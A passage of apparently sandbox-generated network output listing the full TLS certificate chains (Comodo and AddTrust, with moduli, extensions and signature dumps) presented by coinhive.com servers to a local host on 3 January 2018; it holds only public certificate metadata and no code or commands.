aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:37:34.757958889 MEZ	443	49182	136.243.91.46	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:37:34.757958889 MEZ	443	49182	136.243.91.46	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:37:34.757958889 MEZ	443	49182	136.243.91.46	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:38:22.145329952 MEZ	443	49183	136.243.89.209	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:38:22.145329952 MEZ	443	49183	136.243.89.209	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:38:22.145329952 MEZ	443	49183	136.243.89.209	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: 